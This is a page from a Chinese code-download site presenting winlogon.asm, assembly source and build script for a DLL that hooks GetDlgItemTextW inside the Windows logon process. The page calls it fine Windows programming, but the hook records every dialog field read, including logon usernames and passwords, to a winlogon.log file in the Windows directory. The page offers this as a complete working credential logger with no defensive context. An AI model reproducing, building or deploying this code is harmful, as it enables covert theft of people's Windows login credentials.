⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 winlogon.asm

📁 window编程,非常的好
💻 ASM
字号:
;@goto translate


.586P

.MODEL             FLAT, STDCALL

   OPTION          CASEMAP: NONE
   INCLUDE         WINDOWS.inc
   UNICODE         = TRUE
   INCLUDE         APIMACRO.mac

   INCLUDE         ApiHooks.inc

   INCLUDELIB      iKERNEL32.lib
   INCLUDELIB      iUSER32.lib

;------------------------------------------------------------------
.DATA?
   Flipper         BYTE    ?

.CODE

;------------------------------------------------------------------
  NewGetDlgItemTextW       PROC  USES   EBX,  hDlg, nlDDlgItem, lpString, nMaxCount
                   LOCAL   Written      :DWORD
                   LOCAL   hLog         :DWORD
                   LOCAL   Place[MAX_PATH] :SIGN  

                   PUSH    lpString
                   LEA     EBX,         Place
                   POP     Written 
                   iWin32  GetDlgItemTextW, hDlg, nlDDlgItem, lpString, nMaxCount
                   PUSH    EAX 
                   TEST    EAX,         EAX
                   JNE     @F
                   MOV     Written,     sEmpty 
                  @@:
                   iWin32i GetWindowsDirectory, EBX, MAX_PATH
                   AND     SIGN PTR     Place[3*SIGN], 0
                   iWin32i lstrcat,     EBX,  sLogName
                   XOR     Flipper,     1
                   JE      NoMsgBox
                   iWin32i MessageBox,  hDlg, EBX, sTextsSaved, MB_ICONINFORMATION
                  NoMsgBox: 
                   iWin32i CreateFile,  EBX,  GENERIC_WRITE, FILE_SHARE_READ,\
                                        NULL, OPEN_ALWAYS, NULL, NULL
                   MOV     hLog,        EAX
                   INC     EAX
                   JE      LeaveGDITW
                   iWin32  SetFilePointer, hLog, 0, NULL, FILE_END 
                   INC     EAX
                   JE      LeaveGDITW
                   iWin32  WideCharToMultiByte, CP_ACP, NULL, Written, -1, EBX, SIZEOF Place, NULL, NULL
                   MOV     EDX,         sAddEOL
                   CMP     Flipper,     0
                   JE      @F
                   MOV     EDX,         sAddSpace 
                  @@:
                   iWin32  lstrcatA,    EBX,  EDX
                   iWin32  lstrlenA,    EAX
                   LEA     ECX,         Written
                   iWin32  WriteFile,   hLog, EBX, EAX, ECX, NULL
                   iWin32  CloseHandle, hLog
                  LeaveGDITW:
                   POP     EAX  
                   RET
  NewGetDlgItemTextW       ENDP

;names-------------------------------------------------------------
                   TEXT    LogName,         <winlogon.log/0>
                   TEXT    TextsSaved,      <Texts saved in/0>
                   TEXT    Empty,           </(empty/)/0>
                   TEXTA   AddSpace,        < - /0>
                   TEXTA   AddEOL,          </n/0>
                   TEXTA   USER32,          <USER32/0> 
                   TEXTA   GetDlgItemTextW, <GetDlgItemTextW/0>  
;------------------------------------------------------------------
 BeginHooks WinLogon
   MkHook   , USER32, GetDlgItemTextW
 EndHooks
;------------------------------------------------------------------

END

:TRANSLATE
@ECHO OFF
ML    /c /coff /nologo WinLogon.bat
LINK3 WinLogon /nologo /DLL /NOENTRY /EXPORT:WinLogon,@1,NONAME /SUBSYSTEM:WINDOWS /MERGE:.rdata=.text /MERGE:.idata=.text /IGNORE:4078 /BASE:0X70FD0000
DEL  WinLogon.obj
DEL  WinLogon.exp
DEL  WinLogon.lib

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -